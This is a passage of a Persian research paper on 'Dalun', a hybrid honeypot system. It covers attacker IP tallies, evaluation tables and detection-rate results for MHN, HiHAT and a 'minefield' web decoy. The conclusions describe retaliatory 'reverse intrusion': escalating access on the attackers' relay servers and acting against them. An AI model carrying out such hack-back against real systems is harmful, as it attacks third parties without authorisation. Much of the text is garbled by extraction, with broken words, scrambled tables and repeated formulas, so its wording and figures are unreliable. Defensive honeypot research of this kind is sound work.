 ۶ ژ ۶1.21.11.153

 2 نا 5.5۶.133.7۶

 2 ناشناس 199.249.230.۶8

 2 آ ۶۶.240.205.34

 2 ن 84.241.1۶.81

 2 ناشناس 104.244.7۶.13

 ۵۶ های مخربمجموع درخواست

 . ت لی  و ارزیابی 7

ا ارز  نیدر  ضمن  عمل   یابیبخش،  دالون،  مطابق  کروش  آن  رد 

گردد.  ی سه میتله، مقا  یراهکارها ر  ی ن شده با ساییتع  یهاشاخص 

شبکه ارزیابی  معیارهای  از  میزانیکی  تله،  نوع  های  تعامل    و 

ه در ک ییهاشاخص  یهای استقراری است. بر مبنا مهاجمین با تله 

است،    ارائه  [5۶]مراجع   دسته شده  در  تلهدالون  های  بندی 

م قرار  ترکیبی  ارزیگیسایبری  شاخص  یازده  جدول   یابیرد.    در 

 است.   شدهداده نشان   (8)

 

 [5۶] سطح تعامل  بر اساسارزیابی   .(8)  دول 

 تیقابل ردیف 
تعام  

 کم 

تعام  

 متوس  

تعام  

 ادیز

 ترکیبی

 )دالون( 

1 
 تعاملسطح  

 با مهاجم

 زیاد زیاد متوسط کم

2 
و  پاااردازش

 لیتحل

 سری  کند متوسط سریع

3 

 ییشناسااااا

حمااااالات 

 ناشناخته

 با  کم کم خیر

4 
 نتااااااارلک

 مهاجم

 بله خیر بله بله

۵ 
و  نصااااااب

 ماتیتنظ

 سخت سخت درگیر ساده 

۶ 
و  ینگهاادار

 استقرار

 سخت سخت درگیر ساده 

7 
 ساااااااطح

 مخاطره 

 زیاد زیاد متوسط کم

8 
 یدگیااا چیپ

 یسازاده یپ

 زیاد زیاد متوسط کم

9 
 یآورجماااع

 اطلاعات

 گ ترده گسترده  متغیر محدود

10 
 منااااااااابع

 مورداستفاده 

 زیاد زیاد متوسط کم

11 
 عاملستمیس

 یواقع

 بله بله خیر خیر

های تشخیص حملات، شناسایی  سامانه  یاساس یهااز چالش یکی 

ثبت مخرب  رویدادهای  وسیع  حجم  از  مهاجمین  شده  هدفمند 

هشدارها  یدتولاست.    یاربس  را   تحلیلفرایند    کاذب،  یفراوان 

 .ندکمی فراوان مواجه    یو در اکثر مواقع با خطا  ینهبر، پرهززمان 

  ، مستقل  یهاد شده توسط تلهی تول  یهشدارهامیزان  ،  اساسین برا

ل  ین دلیارزیابی است و به هم  یبرا   ییاکشاخص مناسب و قابل ات

تشخین و  کمتر  تولیدی  هشدارهای  تعداد  بردار  یز،  و  الگو  ص 

حملات مهاجمین هدفمند سایبری از سایر الگوهای حملات ثبت  

تله  در  نشان شده  بهها،  راهکار  است یدهنده  لذانه    ی هاشاخص   ؛ 

مبتنیابیارز روبر    ی،  کل  تعداد حملات    ،یافتیدر  یدادهای تعداد 

  رهدفمند ی غ  یدادها ی شده و تعداد رو  ییدرست و هدفمند شناسا

 ن شده است. ییمستقل تع  یهاتله  کیشده، به تفک  ییشناسا

 . معیارهای ارزیابی1-7

شیرو  یابیارز  یهاشاخص    به  تشخکدادها،  نرخ  نرخ  1ص یل   ،

 .  آورده شده است،  (9)  ف و در جدولیتعر  3و دقت  2اذبکمثبت  

صحمعیار     کهاست    یدادیرو  ای  حمله  دهندهنشان   4ح یمثبت 

، 5ح یصح  یمنفمعیار  است،    یدشدهتول  یدرستبه آن    هشدار
 

1 True Positive rate(TPR) 
2 False Positive rate(FPR) 
3 Accuracy rate(AR) 
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درستی هشداری نیز تولید نشده  است و به  حملهدهنده عدم  نشان 

است؛    دادیرو  ای  حملهدهنده عدم وجود  نشان ،  1اذب کمثبت   است.

منف  است  یدشدهتولحمله  هشدار    یول دهنده  نشان ،  2کاذب   یو 

ول  دادیرو  ای  حملهوجود     د یولت  اشتباهبه حمله  هشدار    یاست؛ 

 نشده است. 

  تعریف شده   (1)یا حساسیت در رابطه    صی، نرخ تشخاساسین برا

نیز   آزمون  در  که  است  مثبتی  موارد  نسبت  که   یدرستبهاست 

رابطه  اذب،  کمثبت  هشدار  نرخ  است.    شدهدادهیصتشخ ،  (2)در 

 شده داده یصتشخناهنجاری    اشتباه بهکه  موارد مثبتی است  نسبت  

دهد، از میزان تشخیص صحیح را نشان میکه    و معیار دقت  است

 شود. ی محاسبه م  (3)  رابطه

𝑇𝑃𝑅 نرخ  تشخیص  (1)رابطه   =
𝑇𝑃

𝑇𝑃 + 𝐹𝑁
 

𝐹𝑃𝑅 نرخ  مثبت کاذب (2)رابطه   =
𝐹𝑃

𝐹𝑃 + 𝑇𝑁
   

𝐴𝑐𝑐𝑢𝑟𝑎𝑐𝑦 دقت (3)رابطه   =
𝑇𝑃 + 𝑇𝑁

𝑇𝑃 + 𝑇𝑁 + 𝐹𝑃 + 𝐹𝑁
 

 

 ها. نتایج آزمایش2-7

نتا( 10)  جدول آزمای،  م  شدهانجام   یهاش یج  نشان  دهد.  ی را 

و   یینتعامل پا  توسط تلهحملات    مجموع رویدادهای دریافتی از

  830321یداد است. از این تعداد،  رو  MHN  ،2350411متوسط  

است که توسط سه    شدهشناختهحملات    یامضا هشدار مربوط به  

کورا کاتایسورحسگر   است.    شدهدادهیصتشخ،  ونایدو    ی، 

 غلط ثبت شده است.   هشدار  1491278ن، تعداد  یهمچن

  Hihat  ،14641ی  در تله تعامل بالامجموع رویدادهای دریافتی  

تعداد   و   حیصح  حمله  یالگو  29۶۶  ،تعداد  ین از ا  رویداد است که

دهد  . نتایج نشان میشده است  ثبت  کاذبمثبت    یدادرو  11۶۶2

 نرخ هشدارهای تولیدی بالا است.   که در این تله،

اضافه نفوذ  انفجاروب  تله  شدن  با  عنصر  پیشنهادی  بخش  که  ی 

به رویدادها  تعداد  است،  دالون  چارچوب  در    یداد رو  70  معکوس 

مربوط به شناسایی    مورد  11تعداد   یناز ااست.    کرده  یداپکاهش  

اند و  مهاجمین هدفمندی است که وارد مسیرهای غیرمجاز شده 

مورد از   59اند. تعداد ردهکاقدام به نفوذ و افزایش سطح دسترسی 

است که   مهاجمینی  به  مربوط  این بخش،  حملات ثبت شده در 

مسیرهای   پیمایش  و  نفوذ  به  موفق  ولی  شده  تله  وارد  صرفاً 

 اند. غیرمجاز نشده 

این بخش از تله، و توسط دالون، رویدادها و هشدارهای غیرواقعی  

م تولید  هدفمند  کیکمتری  مهاجمین  شناسایی  ضمن  و  ند 

و بازدارنده علیه این دسته از    یهیتنبجویانه،  سایبری، اقدام تلافی

 
4 True Positive(TP) 
5 True Native (TN) 
1 False Positive(FP) 
2 False Native (FN) 

م اجرا  دالون،    یجهدرنتند.  کی مهاجمین،  در  انفجاری  تله  بخش 

به   دارد.  راهکارهاسایر  نسبت  عملکرد  حملات    ینا،  تمام  تله 

   (.TPR = 1.00کرده است )  ییهدفمند را درست شناسا

حت  یطیشرا  در نبا  یک  یکه  هم  ا  یدحمله  برود،  دست    ین از 

است.  یاربس  یژگیو ا  یینپا  Accuracy  اگرچه  مهم  اما    ین است، 

ز  یرتأثتحتشاخص   ا  False Positive  یادتعداد  در  که   ین است 

 یجه،نت  در  در نظر گرفته نشده است.  یاصل  یارمع  عنوانبه  یابیارز

حمله باشد،    یک  یحت  گرفتنیده ناداز    یریجلوگ  یاگر هدف اصل

انفجار ها را  ج شاخص ی، نتا(9)  جدول  راهکار است.  ینبهتر  یتله 

 .دهدی نشان م
 ها با اعمال دالون مقایسه ارزیابی نتایج در تله .(9)  دول 

 تله انفجاری Hihatتله   MHNتله  شاخص

TPR 0.9۶۶5 0.995۶ 1.0000 

FPR 1.0000 1.0000 1.0000 

Accuracy 0.3533 0.202۶ 0.1571 

در دالون استفاده    یبی صورت ترکسه راهکار به  ینکه ا  کهیی ازآنجا

از راهکارها بهره   یکهر  یایاز تمام مزا  سامانه بنابراین ،شده است 

ب پوشش  و  برد  دارد  یشترخواهد  وجود  از    و  حملات  استفاده 

کاهش   یهاروش  یداست، اما با یدسه تله در دالون مف ینا یبترک

)  یهشدارها  فFPکاذب  مثل    یادگیری   یاهوشمند    یلترهای( 

واقع   یصتشخ  یبرا   ینماش   سازی یاده پ  یرحاملهغاز    یحملات 

 شود. 

 مشابه  یراهکارهاج با ی. مقای ه نتا3-7

ها مورد بررسی  تله  یراهکارها ها، سایر  برای تحلیل نتایج آزمایش 

  ی راهکارها   ریبا سارا  دالون    ، (11)  جدولگیرد.  و مقایسه قرار می 

انتخاب شده در مرجع    یشاخص اصل  هشت  یبر مبنا   یبریتله سا

دهنده  نشان   یر یپذشاخص تعامل  ند.کیسه میمقا[   49,  48,  1]

اطلاعات  کیدقت    زانیم سامانه  به    است  یمنبع  کم،  که  سطح 

سازی به  پیاده   محیطشاخص  شود.  ی می بندطبقه  ادیز  و  متوسط

می  مجازی  یا  فیزیکی  محیط  در  تله  اجرای  و  محیط  پردازد 

  ی برا ها تله تعداد ایجاد ییدهنده توانانشان پذیری، اس یشاخص مق

مقیاس   استیک  شاخص  یا  .بزرگ    و   ریپذاس یمق  دودستهبه  ن 

انطباق شودی م  یبندطبقه   ریناپذ  اسیمق شاخص  به  پذیری  . 

انطباق وضعتله،  مجدد    م یتنظ  تیقابل با شرا  تیجهت    ط یطعمه 

ا  یداراکه    است  افتهیرییتغ سطح  شاخص    است.  ایپو  و  ستایدو 

عمل تله   و حوزهنقش، به سروری یا کلاینتی بودن محل استقرار  

می  شاخص  اشاره  عملکرد  محل  استقرار،    راهبردنماید.  شیوه  و 

میرا    بیفر  یهاطعمه منبع،  و    دهدنشان  نوع  شاخص 

 .  حملات است  یدهنده نوع منبع اطلاعات موجود برانشان 
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 های مستقل دالون در تلهمهاجم  یاز سو یافتی در  یدادهایرو مقایسه  .(10)  دول
 تله وب انفجاری در دالون  HiHatتله وب تعام  با   MHN تعام  پایینتله شبکه  راهکار ارزیابی/

 2350411 14۶41 70 ( E) مجموع ک  رویدادها

تفکیک  به  رویدادها  مجموع 

شناسووایی شووده  یامضووا

   گرها 

 مجموع حملات به تله فریب وب  مجموع حملات وب به تفکیک نوع حمله  مجموع رویدادها به تفکیک حسگرها 

Dionaea Cowrie Suricata xss Inclusion D-list SQLi SQLi D-list 

14۶0338 813199 7۶.874 ۶4 192 407 2303 4 7 

مثبت   ی   هشدار/رویداد 
(TP ) 

830321 29۶۶ 11 

کاذب  مثبت  رویداد  هشدار/ 
(FP ) 

1491278 11۶۶2 59 

 هشدار/ رویداد منفی   ی 

(TN ) 
0 0 0 

هشدار/ رویداد منفی کواذب 
(FN ) 

28812 13 0 

 

 تله سایبری یراهکارهامقایسه دالون با سایر  .(11)  دول

 پات  یهانمشخصات/

ن 
لو
دا

   (
ش 

رو

یپ
اد 
ن 
ش

( ی
 

H
o

n
ey

d
 

A
rg

o
s 

G
la

st
o

p
f 

D
ia

n
a

ea
 

A
rt

em
is

a
 

G
h

o
st

 

C
o

n
p
o

t 

C
u

ck
o

o
 

C
o

w
ri

e 

H
ih

a
t 

 پذیری تعامل

 ▲ ▲ کم

 

▲ 

 

▲ 

 

▲ 

   

 ▲ متوس  

   

▲ 

 

▲ 

  

▲ 

 

 ▲ زیاد 

•  

▲ 

     

▲ 

 

▲ 

 پذ     ق  س 

   ▲  ▲  ▲  ▲   ناپذیر مقیاس 

 ▲ ▲  ▲  ▲  ▲  ▲ ▲ پذیر مقیاس

 پذ     ط  ق

  ▲ ▲ ▲ ▲  ▲  ▲  ▲ ای تا 

 ▲     ▲  ▲  ▲  پویا 

       ژ     ق    

   ▲  ▲    ▲   1طعمه قربانی 

 ▲ ▲  ▲   ▲ ▲   ▲ 2  فری  پورت

      ▲    ▲  3 های مجاورتیطعمه

           ▲ 4 های انفجاریطعمه

           ▲   س ر تغییر م یر

    ع    ع

   ▲    ▲  ▲ ▲  سرویس عمومی 

 ▲       ▲   ▲ سرویس برنامه کاربردی وب 

      ▲      VoIPسرویس  

  ▲         ▲ SSHسرویس  

    ▲       ▲ SCADA/ICS نعتی   سامانه

  
 

1 Sacrificial lamb 
2 Deception ports 
3 Proximity decoys 
4 Minefield 
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 حملات    خ ص

 ▲  ▲ ▲ ▲  ▲ ▲   ▲ ی امضا مبتنی بر  

     ▲    ▲  ▲ مبتنی بر ناهنجاری 

    حملات  پ  خ

 ▲          ▲ پویا   سازی شبیه

           ▲  های پویاطعمه

 پ       حملات 

 ▲ ▲  ▲ ▲ ▲ ▲ ▲  ▲ ▲ اطلاعات م تقیم 

   ▲  ▲    ▲ ▲  اطلاعات دریافتی 

هشاادارها    دیاا و تول  ذنفااو  ییشناسااا شاخص تشخیص حملااه، بااه

و   1یامضاااباار   یمبتن  ،مشتر   صیتشخ  کردیدو روکه    پردازدمی

مربوط به اقدامات پاسااخ  دارد. شاخص پاسخ به حمله،   2ناهنجاری

بر اساس الزامااات از   ذبه حملات و سازگار با حوادس نفوو واکنش 

های  و طعمااه 3سازی پویاو به دو نوع شبیه  است  شدهیفتعر  شیپ

فراینااد  شاااخص پروفایلینااگ، بااه  و    شااودبناادی میطبقه  4پویااا

پردازد که این اطلاعااات بااه دو  میو ثبت رفتار مخرب    لنگیپروفا

بناادی  طبقه  6و اطلاعااات دریااافتی  5میاطلاعااات مسااتقشاایوه  

 گردد.می

 گیرینتیجه.  8

جدول   دسته،  (11)مطابق  در    ی بر یسا  یهاتله  یبنددالون 

هم   ی بیصورت ترکسازی دالون به پیاده  طیقرار دارد. مح  یبیترک

سازی شده  پیاده  یکیزیو هم در بستر ف  یمجاز  ط یبر مح  یمبتن

توانا دالون  ط  ییاست.  از  طعمه گسترده   فی استفاده  از  های  ای 

  ن ی دارد، بنابرا  یها را در بخش تله وب انفجارنظارت بر آن  و  بیفر

دسته تلهدر  مقیاس بندی  مهای  قرار  قابلردیگی پذیر  دالون    ت ی . 

برا  یکربندیپ با شرا  تی وضع  قیتطب  یمجدد  را    دیجد  طیطعمه 

 نیبر محقق  ی و مبتن  ستایصورت ابه  یسنت  یبر یهای سامشابه تله

م  یتیامن ا  دهدی انجام  به انطباق   نیو  پوپذیری  .  یست ن  ایصورت 

به  سا  کیعنوان  دالون  سرور    یبریتله  با    یعنی،  استسمت 

برخشبیه سرو  یسازی  کاشت    هاس یاز  و  سرور  سمت  در 

و برخورد با    یاندازدام به  به دنبال، سرور وب در  یهای انفجار طعمه

استراتژ   نیمهاجم بخش  در  دالون  است.  به  استقرار،    یهدفمند 

و    (HTTPو    SSH  ،MySQL   ،SMB)  یهاسازی پورت شبیه  یلدل

  سامانه ( که تحت  یتله وب انفجار )  یانفجار   یهااستفاده از طعمه 

همچن و  است  کنترل  و    ک ی تراف  تیهدا  زمی مکان  نی فرمان 

  به طور سه مورد را  هر    ،یهدفمند به بخش تله انفجار  نیمهاجم

 . ندکیم  یبانیزمان پشتهم

 

1 Signature-based 
2 Anomaly-based 
3 Dynamic cloning 
4 Dynamic catering 
5 Direct information 
6 Derived information 

شب با  سرویس ساز هیدالون  از  برخی  شبکه،ی  دنبال    های  به 

دالون    MHNچارچوب    .است  هدفمند  حملات  صیتشخ در  که 

است،  استفاده  قابل  یبان یپشت  لیبه دلشده    شبکه   یاصل  تیاز سه 

که    تله پایشی  اسکنرهای  شناسایی  مقدماتدر  و    یبخش 

است  یسازآماده  میمؤثر    ،حمله  صورت  به  تواندیمو  کند  عمل 

کل شبکه  گرفتهصورت تعاملات    هیعام،  حسگر    به  توسط  را  تله 

تعاملات هدفمند به    هیخاص کل  به طورو    کاتاینفوذ سور  صیتشخ

را    SMB/445و    HTTP/80  ،SSH/22  ،Mysql/3306  هاییس سرو

  ند. کره  یذخ  ثبت و  هت  -  یی و ها کورا   ،وناید  یتوسط حسگرها 

 ی کنترل صنعت  یهاسامانه   HMIصفحات    یسازهی با شب  نیهمچن

مان در    نگیتوریو  بالا،    پات  یهان  کیفعال  دنبال تعامل    به 

تشخ  نیمهاجم  یاندازدام به نحوه  بود.  خواهد    صیهدفمند 

مها  یبردارها ا  نیجمحملات  مبتن  جاد یو  دالون  در  بر    یهشدار 

  سامانه روز شده است که در سطح شبکه توسط  هب  نیو قوان  یامضا

بالا   سوریکاتا  نفوذ  یصتشخ تعامل  تله  توسط  وب  در سطح    ی و 

HiHAT  تشخ باقابلیت  تزر  صیو  سا  SQLد  ک  قیحملات    ریو 

 . است  وب  حملات

دالون  در  کنترل  و  فرمان  کهلاتحم،  بخش  را  از    ی  استفاده  با 

  ی های انفجاربه طعمه  یحمله ناشناخته اقدام به دسترس  یالگوها 

رفتار    یمبتن  صیتشخقابلیت    یلهوسبهرا    کنندیم از طریق  بر  و 

دسترس م  یروش  فراهم  دالون  کندی معکوس  طور.  زمان  هم  به 

واقع سیستم  یبندهمازجمله    یاهداف  سروشبکه،    ها، س یعامل، 

غپورت  و  باز  همچنین  می   سازیشبیهرا    رهیهای  با  کند. 

 نیمخرب در ا یکدها قیاز صفحات وب و تزر یواقع یبردار نمونه 

دسته  ،صفحات شبیهدر  پو بندی  ویژگی  گیردیم  قرار  ایساز  این   .

قادر می  را  تا  دالون  از طرسازد  را  به حملات  و پاسخ    ق یواکنش 

و نفوذ    یدسترسانجام دهد که نتیجه آن،    ا،یپو  یهاروش طعمه 

به    لونو ثبت رفتار مخرب در دا  لنگیفرایند پروفا  است.معکوس  

ابزارها  است  میاطلاعات مستق  وهیش با  برده مختلف    یکه    به کار 

اطلاعات، ازجمله منبع حمله،   یوتحلیل آمارتجزیه  منجر به،  شده 

درجه حمله،  بردار  و  حمله    ،مقصد  عمق  و  وسعت  و  شدت 

 . گرددیم
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مهاجم سا  ینحملات  زماندالون  به    یبریهدفمند  بازه    ی در 

پا مورد  شناسای دوماهه،  تحل  ییش،  عل  یلو  و  گرفت  سه   یهقرار 

، نفوذ معکوس صورت  ند نمود  به این شبکه  که اقدام به نفوذ  دمور

که از    ینیمهاجم  یاصل  پیی آ   یسطح دسترس  یشگرفت و با افزا

سرورها  شناسا  یانیم  یپشت  بودند  کرده  نفوذ  به  با   ییاقدام  و 

ماندگار  و  برخوردمهاجم  سامانهدر    یاستقرار  وقوع    منشأعلیه    ، 

  یبیتله ترک  شبکه یشنهادیطرح پ   درنتیجه،  .صورت گرفت  یدتهد

رو  دالون، اتخاذ  به  منجر  معکوس،  نفوذ  دفاع  ک یباقابلیت  فرا  رد 

حمله  فعال حین  دفاع  یعنی  کاهش    سایبری  بر  علاوه  و  شده 

مثبت   تحل  غلطفرایند  فرایند    یلدر    ی هاتله  طرفهیکحملات، 

دفاعه  ک  معمول  یبریسا منفعل  یصرفاً  به    است  و    یندفرارا 

 کند.میل  یو بازدارنده تبد  یهجوم  یعنیدوطرفه  

 های آینده. پژوهش9

و عکس   یی،شناسا  ییتوانا   یدات تهد  یرامونپ  موقعبه  العملپاسخ 

از اجزاء مهم    یکیاست و    یلازم و ضرور  ،هاسازمان  یبرا   یبریسا

تهد  یگذار اشترا به   ییتوانا  یتی،قابل  ینچن  یبرا  با    یداطلاعات 

اکثر تحق  ییهاافراد و سازمان   یرسا مربوط    یقاتمرتبط است. در 

سا تله  مناسبیبریبه  چارچوب  و  ساختار  خودکار،  ،  جهت    و 

تهد  یگذار اشترا   شبکه دست به   یداطلاعات  از  تله    یهاآمده 

  یک .  وجود ندارداز احتمال وقوع حملات مشابه    یریباهدف جلوگ

  ی راهکارها از    یبیکه ترک  یکپارچهساختار و چارچوب هماهنگ و  

و    شبکه تهد  گذاریترا  اش  یراهکارهاتله  همانند    یداطلاعات 

ضرور Cyboxو    STIX  ،OpenIOC  ،TAXII  یراهکارها  و    ی، 

  راهکار .  گرددیم  یشنهادپ  یندهآ  یهاپژوهش در  که    است  یازموردن

ترک  شبکه  یشنهادیپ تله  دالون،   یبی تله  بخش    یبری سا  یهادر 

رو  بر  صرفاً  بالا  و    یکاربرد   یهابرنامه   سازی یه شب  یتعامل  وب 

که    پرداخته  HTTPپروتکل   پرکاربرد    هاییس سرو  یرسااست 

تله  به   یریکارگبه  یتقابلنیز    SMBو    SSH  مانندشبکه  عنوان 

 شود. ی شنهاد مینده، پیآ  یهاعنوان پژوهش را دارد و بهتعامل بالا  
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    ت ش خ ی ص   ن ر خ   T P R =   T P  T P + F N


  ک ا ذ ب   م ث ب ت   ن ر خ   F P R =   F P  F P + T N    


  د ق ت   A c c u r a c y =   T P + T N  T P + T N + F P + F N

